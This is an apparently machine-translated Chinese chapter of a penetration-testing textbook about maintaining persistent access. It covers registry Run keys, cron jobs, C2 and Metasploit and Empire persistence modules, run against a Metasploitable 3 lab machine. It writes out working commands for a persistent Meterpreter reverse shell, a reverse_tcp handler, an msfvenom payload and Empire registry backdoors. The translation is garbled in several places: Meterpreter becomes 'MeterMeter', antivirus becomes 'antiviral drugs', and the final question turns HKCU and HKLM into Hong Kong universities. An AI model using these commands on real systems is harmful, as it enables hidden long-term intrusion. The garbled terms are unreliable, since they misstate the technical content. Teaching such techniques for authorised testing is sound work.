Skip to content

Latest commit

 

History

History
205 lines (117 loc) · 12.8 KB

File metadata and controls

205 lines (117 loc) · 12.8 KB

十二、在环境中保持控制

一旦获得了对目标环境的访问权,您需要考虑如何维护该访问权,以便能够返回。在实际攻击中,攻击者会创建多个后门或命令和控制C2通道),以便轻松访问受损环境。在渗透测试中,您也会这样做

在本章中,您将了解到维护访问是保持对目标系统控制的一个重要步骤,因为您可能使用的漏洞可能会被修补,从而最终删除临时远程访问。您将了解可以使用的各种技术和工具,并能够熟练地使用本章中描述的工具创建对目标系统的持久访问。

随着本章的学习,您将了解以下主题:

  • 维护访问的重要性
  • 用于维护访问的技术
  • 使用持久性工具

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1
  • 表 3

维护访问的重要性

第 10 章横向移动并提升您的权限中,我们执行了后攻击并获得了对受损主机的访问权,最终我们拥有了该域。如果我们利用的漏洞被修补,或者 IT 人员发现存在漏洞,并采取措施弥补漏洞,最终导致我们无法访问,会发生什么情况?我们需要一种回到目标网络或系统的方法。当然,我们可以尝试更多的漏洞利用,甚至可以从社会工程攻击开始,但这需要时间,需要我们后退很多步。这就是维护访问的作用所在。一旦您破坏了初始系统,维护访问应该是首要任务。目标是在目标内获得持久存在,以实现深入访问的目标。

在现实世界中,有一个术语用来定义攻击者,这些攻击者通常会在被检测之前在系统中停留数月。它们被称为高级持续性威胁APT。APT 可以是攻击活动、入侵者团队,甚至是以窃取数据、破坏敏感数据或破坏关键基础设施为目标的国家行为者。

国家行为者是为政府或国家工作的黑客,目的是破坏或危害其他政府或大型组织。他们的目标是获得非常有价值的数据和情报。朝鲜的“千里马”就是民族国家演员的一个例子。

在渗透测试期间,您不会关注高级持续威胁的不道德目标;相反,您将重点放在获得这些复杂攻击能够实现的持久性级别上。

用于维护访问的技术

当您最初破坏目标系统时,您具有临时访问权限。一旦系统重新启动,访问就会终止。有许多技术可用于维护访问。这些工具从工具和恶意软件到使用内置系统工具。让我们考虑一些可以用来维持访问的各种技术。

后门

后门使您能够轻松访问受损系统。特洛伊木马可用于建立后门。特洛伊木马是一种伪装成合法软件的恶意软件,其目的是丢弃恶意有效负载以实现对系统的远程访问。特洛伊木马可以使用特权访问(如本地系统)将自己安装为服务。特洛伊木马也可用于数据过滤。

使用特洛伊木马的问题在于,它可以被防病毒技术检测到。正如我们在第 11 章防病毒绕过中所强调的,抗病毒药物已经进化并具有复杂的检测能力。

C2

C2 服务器用于维护与受损主机的通信。这种类型的通信可以从简单的心跳传播到将目标系统用作机器人的成熟命令。由于此通信是从出站到 C2 服务器的受损主机启动的,如果您使用已知为打开的端口,如 HTTP/HTTPS,则检测风险较小。

Linux cron 作业

在 Linux 系统上,您可以自动启动任务。Cron是调度器,可用于在给定时间运行特定命令。这些计划任务称为cron 作业。在操作系统中,这些 cron 作业通常用于执行备份、删除日志文件和监视等任务。

您可以利用 cron 作业来运行使用 Metasploit 等工具生成的有效负载。一个更简单的任务是使用 cron 作业创建一个 netcat 会话,该会话将连接回您。

以土地为生

在陆地上生活需要使用当前操作系统的工具来执行任务。例如,您可以使用 PowerShell 执行许多任务,从侦察到维护后门。注册表是设置持久访问的好方法。利用注册表可以执行批处理文件和可执行文件,甚至可以在 DLL 中使用函数。

关注注册表,了解HKEY_ 本地 _ 机器HKLM)和HKEY_ 当前 _ 用户HKCU之间的差异非常重要。HKLM中定义的密钥在每次系统启动时运行,而HKCU在用户登录后运行。此处定义的键是最常见的键,用于注入后门:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

请注意,我们有定义为RunRunOnce的注册表项。在引导或登录期间,RunOnce键只运行一次,然后被删除,Run键保持不变。

使用持久性工具

现在,我们已经介绍了一些可用于维护访问的技术,让我们重点介绍一些可用的工具。我们将看到的第一个工具是 Metasploit 框架。我们将介绍的第二个工具是帝国。

Metasploit 框架

在本书中,我们广泛地介绍了 Metasploit,也就是说,当我们在渗透测试的许多阶段使用它时。说到持久性,Metasploit 在这方面也有模块。

我的目标系统是 Metasploitable 3 虚拟机。我用exploit/windows/smb/ms17_010_eternalblue来利用它。

创建 MeterMeter 会话后,可以使用run persistence命令利用内置的持久性脚本。我们可以在以下屏幕截图中看到可用的选项:

图 1:MeterMeter 持久性脚本选项

有一条警告通知我们 MeterMeter 脚本已弃用,我们应该使用/post/windows/manage/persistence_exe。现在,让我们继续使用不推荐使用的脚本。

要获得持久性 shell,我们可以使用run persistence -U -i [seconds] -p [port] -r [host]命令。

此命令允许代理在用户登录时启动(-U。我们以秒为单位定义间隔(-i);我们定义远程端口(-p,然后定义要连接回的主机(-r。脚本运行后,我们将看到已设置注册表项,并且已使用.vbs文件设置了持久性:

图 2:使用 MeterMeter 脚本的持久性设置

一旦安装了持久性脚本,shell 将在用户每次登录时重新建立。然而,我们还需要做一件事,那就是创建一个处理程序。此处理程序将侦听连接并创建远程会话。

可以使用以下命令设置简单的处理程序:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [PORT]
exploit

请记住,LHOST是您在持久性脚本中使用的相同 IP 地址,LPORT也是您在该脚本中定义的相同端口。执行这些命令后,反向处理程序将启动:

图 3:在 Metasploit 中创建处理程序

现在,即使目标系统已经重新启动,您也已经为远程 shell 连接回您做好了一切准备。您可以通过重新启动 Metasploitable 3 虚拟机来测试这一点。一旦机器启动且用户登录,将建立 MeterMeter 会话。

让我们看看前面提到的 MeterMeter 推荐的 post 模块。要使用/post/windows/manage/persistence_exe,您需要创建有效负载。我使用 MSFvenom 创建了一个简单的负载。

在前面的屏幕截图中,用于创建payload.exe文件的命令是msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=1338 -f exe -o /root/Desktop/payload.exe。注意端口号,它与我们之前使用的端口号不同。

生成有效负载后,可以在 MeterMeter 会话中使用以下命令:

run post/windows/manage/persistence_exe REXEPATH=/root/Desktop/payload.exe

REXEPATH用于定义您在 Kali 环境中创建的有效负载的位置。STARTUP用于定义启动类型(UserSystemService;这将指示将使用哪个注册表项。输入上述命令后,Metasploit 将执行持久性攻击并在注册表中创建自动运行,如以下屏幕截图所示:

图 4:使用恶意负载的持久性

完成此操作并退出 MeterMeter 会话后,创建一个新的处理程序。请记住定义不同的端口号。

在下面的屏幕截图中,请注意我建立的两个会话:

图 5:使用 MeterMeter 建立会话

通过在目标机器上使用regedit,我们可以验证注册表项是否存在:

图 6:Metasploit 中持久化模块创建的注册表项

Metasploit 框架中的持久性模块非常强大。在真正的渗透测试中,如果您使用 Metasploit 来维护访问,您将利用无法检测的负载,因为防病毒软件可能会删除掉到目标系统磁盘上的负载。

帝国

让我们关注帝国提供的持久性模块。这些模块分为五类:

  • Powerbreak:这些关注内存驻留后门。重新启动后,这些问题不会持续存在。

  • Userland:重新启动后,这些功能会持续存在,但一旦定义的用户登录,这些功能就会工作。这不是管理持久性模块。

  • 提升:这些允许使用管理上下文进行持久化。它们在重新启动后仍然存在。

  • 调试器:这些工具使用 RDP 登录之前可用的各种工具启用持久性。例如,您可以利用作为SYSTEM运行的命令提示符 shell,而无需登录到目标。

  • Misc:这些是各种各样的持久化方法,例如,利用 Mimikatz 工具获取机器帐户密码。

在下面的屏幕截图中,我有一个 Metasploitable 3 虚拟机的活动代理:

图 7:帝国中的主动代理

使用persistence/userland/registry模块,我们将利用HKCU注册表配置单元在用户上下文中植入持久化模块。此脚本仅在用户登录时运行:

图 8:在用户上下文中使用持久性模块

一旦命令执行,我们将收到一些输出,这些输出定义了修改的注册表项以及可以添加到脚本中的注册表项。如果是 userland 模块,则在HKCU:Software\Microsoft\Windows\CurrentVersion\Debug中设置。

现在,让我们尝试一个提升的持久性模块。我们将使用persistence/elevated/registry模块进行此操作。它使用HKLM注册表配置单元植入一个脚本,该脚本将在目标系统启动时运行。我们将进一步修改此模块,以定义我们自己的注册表位置(使用set RegPath HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run命令)和注册表项(使用set KeyName命令和一些随机字符):

图 9:在提升的系统上下文中使用持久性模块

一旦命令执行,注册表项将被设置,我们将有一个到远程系统的持久连接。

在目标机器上使用regedit可以验证注册表项是否存在:

图 10:Empire 设置的注册表项

Empire 拥有大量可供使用的持久性模块。它们跨越注册表、计划任务等。在你的实验室里对它们进行实验将有助于你更好地理解每一个是如何工作的。

总结

维护访问权限是渗透测试活动的重要组成部分。它使您不必重新利用目标系统。请记住,您最初可能使用的漏洞自上次使用后可能已被修补。因此,您需要有另一种访问目标系统的方法,以避免发现新的漏洞和浪费时间。

在本章中,您深入了解了可用于在目标环境中维护访问的各种技术。您获得了识别 Windows 注册表特定键的技能,以及如何将它们用于持久性。最后,您学习了如何使用各种工具来维护对目标系统的访问。

第 13 章中,我们将讨论如何编写渗透测试报告,以及如何根据这些发现确定和建议补救措施。

问题

  1. 为什么需要维护访问权限?
  2. 什么是 APT?
  3. 列举两种可用于维护访问的技术。
  4. “靠土地生活”是什么意思?
  5. 香港中文大学与香港电影学院有何不同?